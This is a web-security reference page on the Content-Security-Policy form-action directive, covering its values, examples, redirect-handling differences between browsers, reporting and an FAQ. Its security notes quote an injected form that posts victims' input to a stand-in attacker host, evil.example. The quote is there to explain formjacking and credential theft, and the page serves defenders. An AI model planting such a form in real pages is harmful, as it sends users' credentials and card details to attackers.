# form-action (/en/docs/web-security/policies/content-security-policy/directives/form-action)



The `form-action` directive controls which URLs a
[`<form>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/form)
is allowed to submit to. It restricts the destination set by a form's `action`
attribute (and by `formaction` on a submit button), so an injected or tampered
form cannot post a user's input to a server you did not approve.

Allow forms to submit only to the same origin:

```http
Content-Security-Policy: form-action 'self'
```

## Fallback chain [#fallback-chain]

`form-action` has no fallback.
[`default-src`](/en/docs/web-security/policies/content-security-policy/directives/default-src)
does not cover it, so unless you add `form-action` explicitly, forms can submit
anywhere. Leaving it out is the kind of gap that lets an injected form quietly
exfiltrate credentials.

## Values [#values]

`form-action` takes a source list. It does not accept nonces or hashes (those
describe content, not a submission target).

| Value                 | Status | Description                                                                                                                                                                                                                                                              |
| --------------------- | ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `'none'`              | ✅ Good | Blocks all form submissions, including same-origin posts.                                                                                                                                                                                                                |
| `'self'`              | ✅ Good | Allows submissions only to the document's own origin.                                                                                                                                                                                                                    |
| Host or scheme source | ✅ Good | Allows submissions to a matching [host source](/en/docs/web-security/policies/content-security-policy/values/csp-host-source) or [scheme source](/en/docs/web-security/policies/content-security-policy/values/csp-scheme-source), for example a dedicated payment host. |

When a form's target does not match the source list, the browser blocks the
submission and reports a violation. `'self'` is the right value for most sites,
since forms usually post back to the same origin. Add specific hosts only for
forms that legitimately submit elsewhere, and avoid a wildcard or a bare scheme
such as `https:`, which lets a form submit to any host and defeats the directive.

## Examples [#examples]

Allow a checkout form that posts to a dedicated payment host:

```http
Content-Security-Policy: form-action 'self' https://pay.example.com
```

Block all submissions on a page that should never post a form:

```http
Content-Security-Policy: form-action 'none'
```

In a fuller policy it sits with the other navigation controls:

```http
Content-Security-Policy:
    default-src 'self';
    base-uri 'none';
    form-action 'self';
    frame-ancestors 'none'
```

## Security notes [#security-notes]

`form-action` defends against forms that send user input to the wrong place. If an
attacker injects a `<form action="https://evil.example/collect">` or rewrites an
existing form's `action`, a victim who submits the form ships their data straight
to the attacker. This is a real path for credential theft and for formjacking on
payment pages, where a tampered form captures card details on submit.

Restricting `form-action` to `'self'` (or to the specific hosts your forms post
to) means the browser refuses to submit anywhere else, so an injected destination
never receives the data. On payment pages, pairing it with monitoring of the
scripts and forms on the page is part of meeting PCI DSS v4 client-side
expectations.

## Known bypasses and risks [#known-bypasses-and-risks]

Every browser enforces `form-action` against the form's initial submission URL,
but redirect handling differs. Chrome and Safari also enforce the directive
against post-submission redirects, while Firefox checks only the initial URL, and
the [spec issue](https://github.com/w3c/webappsec-csp/issues/8) that would settle
the behavior is still open. Allowlist the redirect targets your forms land on,
and treat `form-action` as one layer alongside server-side validation of where
sensitive forms post, not as a complete guarantee on its own.

It also does not stop client-side script from reading form fields and sending them
elsewhere with `fetch`; that exfiltration path is governed by
[`connect-src`](/en/docs/web-security/policies/content-security-policy/directives/connect-src),
not `form-action`.

Setting `form-action 'none'` blocks every submission, including legitimate ones, so
use it only on pages that genuinely have no forms. The more common risk is the
opposite, shipping a policy with no `form-action` at all and assuming a strong
`script-src` covers it. It does not. Run the policy through the
[CSP evaluator](/tools/csp-evaluator) to surface a missing or overly broad
`form-action`.

## Recommendation [#recommendation]

```http
Content-Security-Policy: form-action 'self'
```

Ship `'self'`, or `'self'` plus the explicit destinations your forms actually
post to, per the [OWASP CSP cheat sheet](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html).
Include redirect targets in the list, because Chrome and Safari also enforce
`form-action` after redirects while Firefox checks only the initial URL.

## Reporting [#reporting]

When the directive blocks a submission, the browser emits a
[`csp-violation` report](/en/docs/web-security/reporting-api/reports/csp-violation)
naming `form-action` as the effective directive. Wire delivery with the
[`report-to` directive](/en/docs/web-security/policies/content-security-policy/directives/report-to)
and the [`Reporting-Endpoints` header](/en/docs/web-security/reporting-api/headers/reporting-endpoints).

## Browser support [#browser-support]

`form-action` is part of CSP Level 2 and Level 3 and is widely supported across
current browsers. Redirect handling still differs per engine; see
[Known bypasses and risks](#known-bypasses-and-risks).

## FAQ [#faq]

### What does form-action do? [#what-does-form-action-do]

`form-action` controls which URLs a `<form>` is allowed to submit to, restricting the destination set by a form's `action` attribute and by `formaction` on a submit button. If a form's target does not match the source list, the browser blocks the submission and reports a violation. `'self'` suits most sites.

### Does form-action stop CSRF? [#does-form-action-stop-csrf]

No. `form-action` restricts where a form may submit, not whether a cross-site request forges one, so it is not a CSRF control. It blocks an injected form from posting user input to an attacker's server. It also does not stop script reading form fields and sending them with `fetch`, which `connect-src` governs.

## See also [#see-also]

* [default-src](/en/docs/web-security/policies/content-security-policy/directives/default-src)
* [base-uri](/en/docs/web-security/policies/content-security-policy/directives/base-uri)
* [frame-ancestors](/en/docs/web-security/policies/content-security-policy/directives/frame-ancestors)
* [connect-src](/en/docs/web-security/policies/content-security-policy/directives/connect-src)
* [navigate-to](/en/docs/web-security/policies/content-security-policy/directives/navigate-to), the removed directive that would have covered link and script navigation
* [CSP keyword values](/en/docs/web-security/policies/content-security-policy/values/csp-keywords)

## Sources [#sources]

* [MDN, CSP form-action](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/form-action)
* [W3C, Content Security Policy Level 3](https://www.w3.org/TR/CSP3/)
* [OWASP, Content Security Policy cheat sheet](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html)
* [W3C webappsec-csp issue 8, form-action and redirects](https://github.com/w3c/webappsec-csp/issues/8)